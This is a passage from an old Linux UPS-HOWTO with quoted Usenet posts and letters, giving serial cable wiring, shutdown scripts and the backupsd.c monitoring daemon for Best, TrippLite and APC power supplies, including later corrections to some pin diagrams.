Copyright 1997 by Michael Stutz; this information is free; it may be redistributed and/or modified under the terms of the GNU General Public License, either Version 2 of the License, or (at your preference) any later version, and as long as this sentence remains; this information comes WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE; see the GNU General Public License for more details.

1.0 Introduction

Best Power are the makers of high quality UPS products, with their Fortress line in particular being well-suited for typical Linux users. Although their products are not currently priced as low as some (such as APC), Best Power provide source code for their UPS software and have been very respondent to queries from Linux users. Furthermore, their hardware seems to be highly regarded, making Best Power a winning choice for Linux users.

This document describes the installation of a Best Power Fortress UPS (model used was a 1996-model 660a with accompanying Best Power CD-ROM) to a Linux box.

2.0 Installation

2.1 Hardware

Install the hardware as indicated in the instructions. The Best Power ``Fortress'' series comes with an RS-232 cable that should attach to a spare serial port on the back of the computer.

2.2 Software

This is where it differs from the manual, which does not currently have Linux-specific instructions. The accompanying Fortress CD-ROM, however, does come with source code for the UPS software, so getting it up and running on a Linux system is a trivial task.

To do this, follow these steps, and use the manual as a reference to get an overall feel for how the software works. I took the liberty of making a few changes in this HOWTO from the way the Fortress software is set up on other UNIX systems that I feel are better suited for a Linux system. For example, I eliminated the need for an /etc/best directory and put the executables in /usr/local/sbin, which I feel is a more appropriate place.

  • First, create the "upsdown" script that is executed during a power outage. This one will halt the system:
    cat > /etc/upsdown << EOF
#!/bin/sh
shutdown -h now < /dev/console &
EOF
  • Now, make directories for the documentation and the source code:
    mkdir /usr/doc/best
mkdir /usr/local/src/best
  • Mount the CD-ROM, and untar the unix/checkups.tar file into the /tmp directory or somewhere similar:
    cd /tmp
tar /cdrom/unix/checkups.tar
  • Change into the etc/best/advanced directory that should have been extracted from the checkups tarball.
  • Copy the documentation and UPS script files to their proper place in the sytem:
    cp README /usr/doc/best
cp manual.txt /usr/doc/best
cp bestsend /etc
cp source/*.c /usr/local/src/best
  • Clean up the /tmp mess and compile the software:
    cd /usr/local/src/best
rm -R /tmp/etc
gcc -o checkups checkups.c
gcc -o mftalk mftalk.c
mv checkups /usr/local/sbin
mv mftalk /usr/local/sbin
  • Test the UPS. Replace ttySx with the serial port of your choice. If you have a good connection, you should see a row of characters print across the screen:
    mftalk /dev/ttySx
  • Make the checkups program run at startup for testing. This can be done in several different ways (described in the manual). The way I did it is by adding this line to /etc/inittab:
    ups:234:once:/usr/local/sbin/checkups -c500 /dev/ttyS1
  • Test it. Do this by taking out power to UPS by pulling out the fuse connected to the UPS, and wait a couple of minutes. It print a warning messages and then halt the system after a few mintues.
  • If that works, take out the "-c500" from the line in your inittab (which basically means shut down the system right away instead of when the UPS power runs out), and you're good to go!

3.0 Conclusions

I welcome suggestions for improving this document or the techniques described herein. As of this writing, Best Power seemed interested in including this or other information in their documentation to help Linux users with their product, so this is definitely a company to support. Let them know how you feel at sales@bestpower.com and support@bestpower.com.

Best Fortress LI-950

Some comments on the Best Fortress.

From lnz@dandelion.com Wed May 31 19:53:09 1995
Newsgroups: comp.os.linux.hardware
Subject: Re: UPS for use with Linux?
From: Leonard N. Zubkoff <lnz@dandelion.com>
Date: 25 May 1995 16:27:55 -0700
Organization: Dandelion Digital
NNTP-Posting-Host: dandelion.com
NNTP-Posting-User: root
In-reply-to: nautix@community.net's message of 23 May 1995 09:41:40 -0700

In article <3pt384$sic@odin.community.net> nautix@community.net writes:

  Ditto what Craig says.  APC was very uncooperative, but I have only
  good things to say about Best.  I use their Fortress LI 660 model;
  660 VA, lots of status features on the front, etc.  The CheckUPS
  software costs extra and needs some hacking to fit into my
  FSSTND-ish file system (the directories and file names are hard-coded
  to fit into SunOS 4.1.x).  I'd be happy to send you my diffs, if
  you want them.  (I love it when a vendor ships the source as
  a normal business practice!)

  The CheckUPS software is limited to doing automagic shutdowns, though.
  The UPS can give lots of status information; CheckUPS only asks for
  ``If the power has failed, how much battery time remains?''

  Best follows up on their customer satisfaction cards, too.
  I indicated that I was dissappointed that CheckUPS didn't do more
  status reporting (like input voltage, output voltage, percent load,
  etc.), which is available from the UPS.  I asked for a the
  spec on the interface lingo; they said ``sure'' and had it to me in
  2 days, free.  A full-featured UPS status checker is on my back burner.
  Does anyone see a demand for such a utility?

Let me add yet another recommendation for Best Power.  I just purchased a
Fortress LI-950, though I declined on the CheckUPS software.  Unlike some
other brands, a simple three wire cable is all that's needed to connect the
Fortress to a serial port -- no need for pull-up circuitry in the cabling.
A few minutes hacking and I had program to act as both a shutdown monitor
daemon, and to kill the inverter output when the system is shutdown while
on battery power.

I may eventually want to use the smarter serial communication mode rather
than the simple contact mode, so I asked Best technical support for the
documentation, and it arrived today, a week after I called them.  Once I
peruse the documentation I'll decide if a smarter interface is really
worthwhile, especially since at some point I'll need to shut down two
networked machines sharing the UPS.

                Leonard

Best Ferrups

In addition to the doumentation and softare on Best's web site, you could also use the bestups-0.9.tar.gz (section Software) package. We've just started testing it with our 5kva FERRUPS.

The basic idea is that there are two modules. One which fields information requests on a network port, relays those requests to the UPS, and returns the results. The second module talks to the first, interprets the results, and responds with either OK or FAIL.

This is sufficient to allow the powerd-2.0.tar.gz package (section Software) to do the rest of the work.

The details can be gotten from the bestups-0.9.tar.gz package (section Software).

Incidentally, our 5kva Ferrups has performed flawlessly in keeping our 10 computers and 30 screens humming.

8.11 GPS1000 from ACCODATA

   >From hennus@sky.nl.mugnet.org Thu Mar 10 15:10:22 1994
   Newsgroups: comp.os.linux.help
   Subject: Re: auto-shutdown with UPS
   From: hennus@sky.nl.mugnet.org (Hennus Bergman)
   Date: Tue, 1 Mar 1994 22:17:45 GMT
   Distribution: world
   Organization: The Organization For Removal Of On-Screen Logos

   In article <CRAFFERT.94Feb28125452@nostril.lehman.com>,
   Colin Owen Rafferty <craffert@nostril.lehman.com> wrote:
   >I am about to buy an Uninterruptable Power Supply for my machine, and
   >I would like to get one that has the "auto-shutdown" feature.
   >
   I just got one of those real cheap :-)
   It's a GPS1000 by ACCODATA. Anybody know how good the output
   signal of these things is? [Don't have a scope myself :-(]

   >I assume that these each have some kind of serial connection that
   >tells the system information about it.
   >
   I took it apart to find out how it worked. There were three optocouplers
   (two output, one input) connected to a 9 pin connector at the back.
   One turns on when the power fails, and goes off again when the power
   returns. While the power is off, you can use the `input' to shut the
   battery off. [It releases the power-relay.] The third one is some kind
   of feedback to tell that it did accepted the `shut-down command'.
   I think the interface for my UPS was designed to be connected to TTL-level
   signals, but with some resistors it could be connected to serial port.
   It's wired in such a way that using a RS-232 port you cannot use both
   output optocouplers; but the shutdown feedback is not necessary anyway,
   just use the important one. ;-)
   [Note that it is possible to blow the transistor part in optocouplers
   with RS-232 levels if you wire it the wrong way round ;-)]

   I was hoping I would be able to connect it to my unused game port,
   but that doesn't have an output, does it?
   I'll probably end up getting an extra printer port for this.

   Not all UPS' use optocouplers, some use simple relays, which are
   less critical to connect, but of course not as `nice'.

   >Has anyone written a package that watches the UPS and does a shutdown
   >(or something) when the power is off?
   SysVinit-2.4 (and probably 2.5 as well) has a `powerd' daemon that
   continually watches a serial port for presence of the CD (Carrier
   Detect) line and signals init when it drops. Init then activates
   shutdown with a time delay. If the power returns within a few minutes
   the shutdown is cancelled. Very Nice.
   The only problem I had with it is that it doesn't actually tell the
   UPS to turn off when the shutdown is complete. It just sits there with
   a root prompt. I'll probably write a small program to shut it down
   >from /etc/brc. RSN.

   >    Colin Rafferty, Lehman Brothers <craffert@lehman.com>

   Hennus Bergman

8.12 TrippLite BC750LAN (Standby UPS)

Tom Webster ( webster@kaiwan.com, the author of the genpower package) sent me information on the TrippLite BC750LAN. If you have one of these, your probably best off using his package.

But, for completeness, here's his cable wiring diagram (done by trial and error, and without documentation):

          UPS                System
         DB-25               DB-25
           1 <-------------->  1       Ground

           2 <-------------->  4       Power Fail
           8 <-------------->  8       Sensing Circuit

           3 <-------------->  2       Inverter Shutdown
          20 <--------------> 22       Circuit

8.13 APC

If the above plethora of APC packages doesn't get you running, maybe the following sections will help.

APC Back-UPS

There seems to be some controversy as to the accuracy of the information here on APC Back-UPSs. So, please be careful. I'm prefacing this section with one message of caution I received. It might not make a lot of sense before the rest of this section is read, but this way, at least you're more likely to see it. And again, since I don't have any APC UPS units, I can't verify the accuracy of either of these messages.

A message of caution

From ind43@sun1000.ci.pwr.wroc.pl Sun Oct  9 11:00:42 1994
Newsgroups: comp.os.linux.admin
Subject: BUPS-HOWTO warning
From: ind43@sun1000.ci.pwr.wroc.pl (Marek Michalkiewicz)
Date: 6 Oct 1994 18:38:15 GMT
Organization: Technical Univeristy of Wroclaw
NNTP-Posting-Host: ci3ux.ci.pwr.wroc.pl
X-Newsreader: TIN [version 1.2 PL2]

If you want to connect the APC Back-UPS to your Linux box, this might
be of interest to you.

There is a good BUPS-HOWTO which describes how to do this. But it has
one "bug".

The RTS serial port signal is used to shut down the UPS. The UPS will
shut down only if it operates from its battery. The manual says that
the shutdown signal must be high for at least 0.5s. But few milliseconds
is enough, at least for my APC Back-UPS 600.

Using RTS to shut down the UPS can be dangerous, because the RTS goes
high when the serial device is opened. The backupsd program then turns
RTS off, but it is on (high) for a moment. This kills the power when
backupsd is first started and there is a power failure at this time.
This can happen for example when the UPS is shut down, unattended,
and the power comes back for a while.

Either start backupsd before mounting any filesystems for read-write,
or (better) use TX (pin 3) instead of RTS (pin 7) to shut down the
UPS (pin numbers are for 9-pin plug). Use ioctl(fd, TCSBRKP, 10);
to make TX high for one second, for example. Using TX should be safe.
Maybe I will post the diffs if time permits...

-- Marek Michalkiewicz
ind43@ci3ux.ci.pwr.wroc.pl

BUPS-HOWTO

Luminated Software Group Presents

HOWTO use Back-UPS (by APC) (to keep your linux box from frying)

Version: 1.01 BETA

Document by: Christian G. Holtje <docwhat@uiuc.edu> Cabling info and help: Ben Galliart <bgallia@orion.it.luc.edu>

This document, under one condition, is placed in Public Domain. The one condition is that credit is given where credit is due. Modify this as much as you want, just give some credit to us who worked.

******************************************************************************* Warning! I, nor any of us who have written or helped with this document, make and guarantees or claims for this text/source/hints. If anything is damaged, we take NO RESPONSIBILITY! This works to the BEST OF OUR KNOWLEDGE, but we may have made mistakes. So be careful! *******************************************************************************

Al right, you just bought (or are going to buy) a Back-UPS from APC. (Other brands might be able to use this info, with little or no modification, but we don't know) You've looked at the price of the Power-Chute software/cabling, and just are not sure it's worth the price. Well, I made my own cable, and my own software and am using it to automatically shut off the power to my linux box when a power failure hits. Guess what? You can too!

*** The Cable ***

This was the hardest part to figure out (I know little about hardware, so Ben did the most work for this). To build one, you need to buy from your local radio shack (or other part supplier) this stuff:

1 9-Position Male D-Subminature Connector (solder-type)
        [Radio Shack cat. no. 276-1537c]
1 9-Position Female D-Subminature Connector (solder-type)
        [Radio Shack cat. no. 276-1538c]
2 casings for the above plugs (usually sold separately)
Some stranded wire (wire made of strands, not solid wire)

You also need, but may be able to borrow:

1 soldering iron
solder

Okay...this is how you connect it up!

These diagrams are looking into the REVERSE SIDE (the side where you solder the wire onto the plugs) The letters G, R, and B represent the colors of the wires I used, and help to distinguish one line from the next. (NOTE: I'm use standard rs-232 (as near as we can tell) numbering. The APC book uses different numbers. Ignore them! Use ours...I already changed the numbers for you!)

   ---------------------     Male Side! (This goes into the UPS)
    \  B   R  *  *  * /
      \  *  *  *  G  /
        ------------

   ---------------------     Female Side! (This goes into your COM port)
    \  R   *  *  *  G /
      \  *  B  *  *  /
        ------------

For those who like the numbers better:

        Male            Female
---------------------------------------
        1               7               Black
        2               1               Red
        9               5               Green

---------Aside: What the rs-232 pins are for!----------- Since we had to dig this info up anyway:

>From the REAR (the soldering side) the pins are numbered so:

   ---------------------
    \  1   2  3  4  5 /
      \  6  7  8  9  /
        ------------

The pins mean:

        Number  Name                    Abbr. (Sometimes written with D prefix)
        1       Carrier Detect          CD
        2       Receive Data            RD
        3       Transmit Data           TD(?)
        4       Data Terminal Ready     DTR
        5       Signal Ground           Gnd
        6       Data Set Ready          DSR
        7       Request to Send         RTS(?)
        8       Clear to Send           CS
        9       Ring Indicator          RI

What we did is connect the UPS's RS-232 Line Fail Output to the CD, the UPS's chassis to Gnd, and the UPS's RS-232 Shut Down Input to RTS. Easy now that we told you, no?

I have no idea if the software below will work, if you purchase the cable from APC. It might, and it might not.

*** The Software ***

Okay, I use the SysVInit package by Miquel van Smoorenburg for Linux. (see end for file locations, credits, email addresses, etc.) I don't know what would have to be changed to use someone elses init, but I know this code (following) will work with Miquel's stuff. Just so I give credit where credit's due. I looked at Miquel's code to figure out how ioctl()'s worked. If I didn't have that example, I'd have been in trouble. I also used the powerfail() routine (verbatim, I think), since it must interact with his init, I thought that he should know best. The .c file is at the end of this document, and just needs to be clipped off. To clip the file, edit away and extra '.sigs' and junk. This document should end on the line /* End of File */.....cut the rest.

This program can either be run as a daemon to check the status of the UPS and report it to init, or it can be run to send the kill-power command to the UPS. The power will only be killed if there is a power problem, and the UPS is running off the battery. Once the power is restored, it turns back on.

To run as a daemon, just type: backupsd /dev/backups

/dev/backups is a link to /dev/cua0 at the moment (COM 1, for you DOSers). The niceness of the link is that I can just re-link the device if I change to com 2 or 3.

Then, if the power dies init will run the commands for the powerwait. An example (This is from my /etc/inittab):

#Here are the actions for powerfailure.
pf::powerwait:/etc/rc.d/rc.power start
po::powerokwait:/etc/rc.d/rc.power stop

The powerwait will run, if the power goes down, and powerokwait will run if the power comes back up.

Here is my entire rc.power:

#! /bin/sh
#
# rc.power      This file is executed by init when there is a powerfailure.
#
# Version:      @(#)/etc/rc.d/rc.power   1.50    1994-08-10
#
# Author:       Christian Holtje, <docwhat@uiuc.edu>
#

  # Set the path.
  PATH=/sbin:/etc:/bin:/usr/bin:/sbin/dangerous

  # Find out how we were called.
  case "$1" in
        start)
                echo "Warning there is Power problems."  | wall
                # Save current Run Level
                ps | gawk '{ if (($5 == "init") && ($1 == "1")) print $6 }' \
                         | cut -f2 -d[ | cut -f1 -d] \
                         > /tmp/run.level.power
                /sbin/shutdown -h +1m
                ;;
        stop)
                echo "Power is back up.  Attempting to halt shutdown." | wall
                shutdown -c
                ;;
        *)
                echo "Usage:  $0 [start|stop]"
                exit 1
                ;;
  esac

Pretty nifty, no? Actually, there is a problem here...I haven't had time to figure it out...If there is a 'sh' wizard out there....

There is one little detail left, that is having the UPS turn off the power if it was halted with the power out. This is accomplished by adding this line into the end of your halt script:

  /sbin/backupsd /dev/backups killpower

This will only kill the power if there is no power being supplied to your UPS.

*** Testing the stuff ***

This is just a short section saying this:

BE CAREFUL!

I recommend backing up your linux partitions, syncing several times before testing and just being careful in general. Of course, I'm just recommending this. I wasn't careful at all, and had to clean my partition several times testing my config. But it works. :)

*** Where to Get It ***

Miquel van Smoorenburg's SysVInit can be gotten at:

sunsite.unc.edu:/pub/Linux/system/Daemons/SysVinit-2.50.tgz

and a fix for some bash shells is right next-door as:

sunsite.unc.edu:/pub/Linux/system/Daemons/SysVinit-2.50.patch1

As to getting this HOWTO, you can email me. docwhat@uiuc.edu with the subject saying 'request' and the keyword 'backups' in body of the letter. (I may automate this, and other stuff)

*** Credit Where Credit's Due Dept. ***

Thanks to Miquel van Smoorenburg <miquels@drinkel.nl.mugnet.org> for his wonderful SysVInit package and his powerd.c which helped me very much.

Christian Holtje <docwhat@uiuc.edu> Documentation backupsd.c (what wasn't Miquel's) rc.power

Ben Galliart <bgallia@orion.it.luc.edu> The cable Information for the RS-232 standard Lousy Jokes (none quoted here)

/*  backupsd.c -- Simple Daemon to catch power failure signals from a
 *                Back-UPS (from APC).
 *
 *  Parts of the code are from Miquel van Smoorenburg's powerd.c
 *  Other parts are original from Christian Holtje <docwhat@uiuc.edu>
 *  I believe that it is okay to say that this is Public Domain, just
 *  give credit, where credit is due.
 *
 *  Disclaimer:  We make NO claims to this software, and take no
 *               resposibility for it's use/misuse.
 */

#include <sys/types.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <signal.h>

/* This is the file needed by SysVInit */
#define PWRSTAT         "/etc/powerstatus"

void powerfail(int fail);

/* Main program. */
int main(int argc, char **argv)
{
  int fd;
  int killpwr_bit = TIOCM_RTS;
  int flags;
  int status, oldstat = -1;
  int count = 0;

  if (argc < 2) {
        fprintf(stderr, "Usage: %s <device> [killpower]\n", argv[0]);
        exit(1);
  }

  /* Open the the device */
  if ((fd = open(argv[1], O_RDWR | O_NDELAY)) < 0) {
        fprintf(stderr, "%s: %s: %s\n", argv[0], argv[1], sys_errlist[errno]);
        exit(1);
  }

  if ( argc >= 3  && (strcmp(argv[2], "killpower")==0) )
      {
          /* Let's kill the power! */
          fprintf(stderr, "%s: Attempting to kill the power!\n",argv[0] );
          ioctl(fd, TIOCMBIS, &killpwr_bit);
          /* Hmmm..... If you have a power outtage, you won't make it! */
          exit(0);
      }
  else
      /* Since we don't want to kill the power, clear the RTS. (killpwr_bit) */
      ioctl(fd, TIOCMBIC, &killpwr_bit);

/* Become a daemon. */
  switch(fork()) {
  case 0: /* I am the child. */
                setsid();
                break;
  case -1: /* Failed to become daemon. */
                fprintf(stderr, "%s: can't fork.\n", argv[0]);
                exit(1);
  default: /* I am the parent. */
                exit(0);
  }

  /* Now sample the DCD line. */
  while(1) {
      ioctl(fd, TIOCMGET, &flags);
      status = (flags & TIOCM_CD);
      /* Did DCD jumps to high? Then the power has failed. */
      if (oldstat == 0 && status != 0) {
          count++;
          if (count > 3) powerfail(0);
          else { sleep(1); continue; }
      }
      /* Did DCD go down again? Then the power is back. */
      if (oldstat > 0 && status == 0) {
          count++;
          if (count > 3) powerfail(1);
          else { sleep(1); continue; }
      }
      /* Reset count, remember status and sleep 2 seconds. */
      count = 0;
      oldstat = status;
      sleep(2);
  }
  /* Error! (shouldn't happen) */
  return(1);
}

/* Tell init the power has either gone or is back. */
void powerfail(ok)
int ok;
{
  int fd;

  /* Create an info file needed by init to shutdown/cancel shutdown */
  unlink(PWRSTAT);
  if ((fd = open(PWRSTAT, O_CREAT|O_WRONLY, 0644)) >= 0) {
        if (ok)
                write(fd, "OK\n", 3);
        else
                write(fd, "FAIL\n", 5);
        close(fd);
  }
  kill(1, SIGPWR);
}

/* End of File */

More notes

From ockers@carnot02.maem.umr.edu Mon Jan 16 15:27:29 1995
Newsgroups: comp.os.linux.hardware
Subject: Back-UPS, backupsd, and low battery signal
From: ockers@carnot02.maem.umr.edu (Jim Ockers)
Date: 12 Jan 1995 04:22:44 GMT
Reply-To: ockers@umr.edu
Organization: the all-male wasteland of Rolla, MO
NNTP-Posting-Host: carnot02.maem.umr.edu
X-Newsreader: TIN [version 1.2 PL2]

Hello all,

I use the backupsd on my linux system and I like it a lot.  I also
run Windows NT when I have to and it has a UPS daemon too.  The pinouts
required by Windows NT are different from the ones you specify in the
program but that is easily changed since I have the source for your
program..

Anyways I was browsing through the Windows NT knowledge base (KB) and
found something interesting.  If you look in the documentation for your
Back-UPS under "computer interface port" you will see that this UPS will
send a Low Battery signal at least two minutes before the battery fails.

At least the manual for my Back-UPS 400 says that...

However they also speak some Electrical Engineering gibberish ("Outputs ...
are actually open collector outputs which must be pulled up to a common
referenced supply no greater than +40 Vdc.  The transistors are capable
of a maximum non-inductive load of 25mAdc.)

Well that means nothing to me, but what I discovered in the NT KB was
that it is possible to use the low battery signal in the same manner that
the other signals are used.  The output from pin 5 on the UPS should go
to the pin on which you are reading the LowBatt signal into the computer.
When that line goes high, the battery is running out of charge.  When
the situation is normal, that line will be low.  (Hi/Lo in a standard
RS-232 signal, just like the other lines.)

What they don't tell you in the APC manual, and they should, is that
you need to buy a 10 KOhm resistor (50 cents at Radio Shack) and connect
pins 5 and 8 on the UPS side using the resistor.  Pin 8 provides the
"common referenced supply no greater than 40vdc".  Here's how you would
make the cable (the 1st three lines are the same as the HOWTO):

       PC side                         UPS side
pin      7 <------------------------------> 1                 ShutDownUPS
         1 <------------------------------> 2                 LineFail
         5 <------------------------------> 4 (same as 9 )    GND
         ? your choice  <-----------------> 5                 LowBatt
                                            |
                                             > 10
                                            <  KOhm
                                            |
                                            8

So then when the LowBatt line is HIGH then the computer has 2 minutes
to shut down before the battery runs out.

This is not mentioned in the Back-UPS HOWTO nor is it addressed in the
backupsd source.  However I would think that it would be a Good Thing
to have in there; especially since a power failure would not require
a shutdown unless the UPS batteries were low.  In most cases it would
mean that the backupsd could send a warning to everyone if the LineFails,
and give everyone a one (or two) minute warning when the batteries start
running down.

As far as I know this applies to all the APC Back-UPS and Smart-UPS
products.  These instructions were for a Smart-UPS 900,1250, and 2000
according to the NT KB.  However they have been tested with a Back-UPS
400 running Windows NT and everything works properly...

I'd sure like to have a backupsd that handled the LowBatt situation too.
Does anyone feel like modifying the backupsd.c source so that it will do
this too?  (I can't program in C yet...)

P.S. The APC manual says to use only pin 4 as the common and even though
in the diagram it says that pin 9 is connected to pin 4 you might want to
be sure and use pin 4 .  This differs from the instructions in the HOWTO.

P.P.S. I mailed this to the Back-UPS HOWTO authors.

--
Jim  (ockers@umr.edu)                   Ask me about Linux!
http://www.umr.edu/~ockers/ - home page

From: Peter Kammer <pkammer@liege.ICS.UCI.EDU>
To: "Harvey J. Stein" <hjstein@math.huji.ac.il>
cc: "Christian G. Holtje" <docwhat@uiuc.edu>
Subject: UPS-Howto--minor correction
Date: Mon, 07 Oct 1996 12:00:16 -0700

Mr. Stein,

        Let me first thank you for putting together and maintaining the
Linux UPS-HowTo document.  I recently attached a APC Back-UPS 400 to a
a Linux box and the document turned out to be very helpful.
        I would like to suggest a correction to the the text diagrams which
accompany the description in section 11.5.2.  The diagrams are presented as
being the rear of the plug.  This in mind, the diagram of the male is
backwards:

         ---------------------     Male Side! (This goes into the UPS)
          \  B   R  *  *  * /
            \  *  *  *  G  /
              ------------

_From the rear_, the pins on the male connector are numbered
right-to-left.  The correct diagram should be:

         ---------------------     Male Side! (This goes into the UPS)
          \  *   *  *  R  B /
            \  G  *  *  *  /
              ------------

Similarly, the numbered diagram should be labeled as for the rear of the
female plug.

         ---------------------
          \  1   2  3  4  5 /
            \  6  7  8  9  /
              ------------

The rear of the male is numbered the reverse:

         ---------------------
          \  5   4  3  2  1 /
            \  9  8  7  6  /
              ------------

This caused us some confusion until we realized our mistake.  With four
different configurations to be aware of (front, rear) x (male, female) it
is easy to get confused.  Even now, reference in hand, I keep reexamining
my diagrams.

It might also be helpful to add a reference to the APC technical document
for the Back-UPS line which is available on-line at:

   http://www.apcc.com/english/techs/techref4/224e.htm

Once we corrected our wiring, setting up the software was relatively simple
thanks to your documentation.  We used the alternative (using TD to kill
the UPS power rather than RTS) wiring scheme and ran into few problems.
Your efforts in maintaining this information are much appreciated.

------------
Peter Kammer                       Dept. of Information and Computer Science
pkammer@ics.uci.edu                University of California
http://www.ics.uci.edu/~pkammer/   Irvine, CA 92697-3425

APC Back-UPS Pro 650

From: Troy Muller <tmuller@agora.rdrop.com>
Sender: tmuller@napalm.it.wsu.edu
To: abel@netvision.net.il
Subject: APC Back-UPS Pro 650
Date: Sun, 06 Apr 1997 12:50:40 -0700

Dear Mr. Stein,

I have a Back-UPS Pro 650 from APC and finally got it working with a
standard APC cable.

I used cable number 940-0023A and Enhanced_APC_BackUPS software.  My
only grudge is the software broadcasts every 2 seconds, but hacking the
dowall.c code to sleep 10 sec before broadcasting seems to limit it to
every 10 seconds with a 2-3 message queued to be printed (ie. much more
acceptable).

APC Smart-UPS

Many people have APC Smart UPSs. There seem to be packages for using them in smart modes (see the afore mentioned packages Enhanced_APC_UPSD-v1.4.tar.gz, apcd-0.5.tar.gz, and smupsd-0.7-1.i386.rpm described in section Software). I don't know how the support in each package is. It seems that APC still refuses to release the protocol for the ``smart'' mode without a non-disclosure agreement, so everyone's left reverse engineering it.

The general consensus is to buy from a brand which does release the information, such as Best.

Another possibility is to run the SCO Unix version of APC's Powerchute UPS control software under Linux via the iBCS compatibility package. I'm told by Clive A. Stubbings ( cas@vjet.demon.co.uk) that this works nicely after some install script adjustments. He says that the only problem is "the GUI stuff seems to have difficulty controlling non-local UPSs across the net".

If you have an APC Smart-UPS, and you can't get any of the above software to work in smart mode, you can still use it in dumb mode. The following sections detail how to do that. In particular, I've received messages from people regarding the Model 600, the Model 700, and the model 1400. You'll probably have to hack powerd.c as outlined in section Reverse-engineering cables and hacking powerd.c.

APC Smart-UPS, Model 600

From dangit@netcom.com Mon Aug 22 10:16:23 1994
Newsgroups: comp.os.linux.misc
Subject: UPS Monitoring Cable For APC
From: dangit@netcom.com (Lam Dang)
Date: Fri, 19 Aug 1994 11:56:28 GMT
Organization: NETCOM On-line Communication Services (408 261-4700 guest)
X-Newsreader: TIN [version 1.2 PL1]

[Didn't make it the first time.]

A few netters have asked about UPS monitoring cables.  This is what I
found when I made one for my APC Smart-UPS, Model 600.  A disclaimer is in
order.  This is just an experimenter's report; use it at your own risks.
Please read the User's Manual first, especially Section 6.4, Computer
Interface Port.

The cable is to run between a 9-pin female connector on the UPS and a
25-pin male connector on the PC.  Since I cut off one end of a 9-pin
cable and replaced it with a 25-pin connector, I had to be VERY
CAREFUL ABOUT PIN NUMBERS.  The 25-pin hood is big enough to contain a
voltage regulator and two resistors.  I got all the materials (listed
below) from Radio Shack for less than 10 bucks.  As required by Windows NT
Advanced Server 3.5 (Beta 2), the "interface" between the UPS connector
and the PC connector is as follows:

        UPS (9-pin)              PC (25-pin)

        1 (Shutdown)             20 (DTR)
        3 (Line Fail)             5 (CTS)
        4 (Common)                7 (GND)
        5 (Low Battery)           8 (DCD)
        9 (Chassis Ground)        1 (Chassis Ground)

This is pretty straightforward.  You can use UPS pin 6 instead of 3
(they're the inverse of each other).  The complication is in pulling up
UPS open collector pins 3 (or 6) and 5.

This APC model provides an unregulated output of 24 Vdc at UPS pin 8. The
output voltage is available all the time (at least until some time after
Low Battery has been signalled).  The supply is limited to 40 mA.  To
pull up, UPS pin 8 is input to a +5 Vdc voltage regulator.  The output of
the regulator goes into two 4.7K resistors.  The other end of one
resistor connects both UPS pin 3 (Line Fail) and PC pin 5 (CTS).  That
of the other resistor connects both UPS pin 5 (Low Battery) and PC pin 8
(DCD).  The two resistors draw about 2 mA when closed.

Test your cable without connecting it to the PC.  When the UPS is on
line, pins 5 (CTS) and 8 (DCD) at the PC end of the cable should be very
close to 5 Vdc, and applying a high to pin 20 (DTR) for 5 seconds should
have no effect.  Now pull the power plug to put the UPS on battery.  Pin
5 (CTS) should go down to zero Vdc, pin 8 (DCD) should stay the same at 5
Vdc, and applying a high to pin 20 (DTR), e.g., by shorting pins 8 and 20,
should shut down the UPS after about 15 seconds.

Keep the UPS on battery until Low Battery is lighted on its front panel.
Now pin 8 (DCD) should go down to zero Vdc too.  Wait until the UPS
battery is recharged.  Then connect your cable to the PC, disable the UPS
option switches by turning all of them ON, and run your favorite UPS
monitoring software.

For those who want to run it with Windows NT Advanced Server, the UPS
interface voltages are NEGATIVE for both power failure (using UPS pin 3)
and low battery conditions, and POSITIVE for remote shutdown.  Serial
line parameters such as baud rate don't matter.

I haven't tested my cable with Linux powerd.  When you do, please let us
know.  I run NT as often as Linux on the same PC.  I must conform to NT's
UPS scheme.  Perhaps somebody can modify powerd to work with it and post
the source code here.

List of materials:

        1 shielded D-sub connector hood (Radio Shack 276-1510)
        1 25-pin female D-sub crimp-type connector (276-1430)
        1 7805 +5Vdc voltage regulator (276-1770)
        2 4.7K resistors
        1 component perfboard (276-148)
        1 cable with at least one 9-pin male connector.

You'll need a multimeter, a soldering iron, and a couple of hours.

Hope this helps.

Regards,

--
Lam Dang
dangit@netcom.com

APC Smart-UPS 700

Here're some details for running an APC Smart-UPS 700 in dumb mode.

It has a clever usage of a transistor in the cable so that the UPS will turn off when the computer is turned off. And it includes a powerd.c which also does a fast low battery shutdown.

Also, note that Markus' is also using init's new capabilities. So we have here another illustration of how to use the new init to your advantage.

From: Markus Eiden <Markus@eiden.de>
Sender: eiden@eiden.de
To: "Harvey J. Stein" <abel@netvision.net.il>
Subject: Re: APC Smart-UPS
Date: Sun, 30 Mar 1997 16:21:05 +0200

I'm using an APC Smart-UPS 700 for my Linux box, running 2.0.21 on an
ASUS-Board.

To use some features of the UPS you need four things:

1) You have to build a RS232-cable with a small interface.
2) You need the powerd-source from the sysvinit-package (I use version 2.65
    from Miquel van Smoorenburg). Then you have to patch his powerd.
3) You have to change your /etc/inittab
4) You need a script to run some commands if the power is down or battery
   is low.

Some features:

When the power goes down, a script will start and a syslog-entry is done.

If the battery is low, an other  script will start
(which shutdown your computer of course) and a syslog-entry is done.

If you shutdown your computer and the power is down, the UPS will be shut
down too.

 1)Let's start with the cable:
================================

If you have a look at the back side of you UPS you will see a female
connector like this:

             8             1: Shutdown the UPS when the power is down and
                               pin 1 is high.
     X   X   X   X         3: Goes low on "Linefail"
   X   X   X   X   X       4: GND
                           5: Goes low on  "Low battery"
   1       3   4   5       8: +24V

On the other hand at the back side of your PC there exist a male
connector like this:

         8       6         1: DCD
     X   X   X   X         4: DTR
   X   X   X   X   X       5: GND
   5   4           1       6: DSR
                           8: CTS

You have to build the following interface between these connectors:

 PC                                                           UPS

                                         #------------------  (8)
                                         |
                                        470 Ohm
                                         |
           #-----#-----#-----#-----#-----#----- ca. 9-12V
           |     |     |     |     |     |
           47    3.3   3.3   3.3   1     470
           kOhm  kOhm  kOhm  kOhm  kOhm  Ohm
           |     |     |     |     |     |
 (8) ------------------------#     |     |
           |     |     |           |     |
 (6) ------------#------------------------------------------- (5)
           |           |           |     |
 (1) ------------------#------------------------------------- (3)
           |                       |     |
           |                      C#------------------------- (1)
           |                      -|     |
           |                    B/       |
 (4) ------#-----12kOhm---------|        |
                                 \>E     |
                                 |       |
 (5)-----------------------------#-------#------------------- (4)

  -I use a "BC140" - transistor, but nearly any simple NPN-transistor
   should work  ;-)

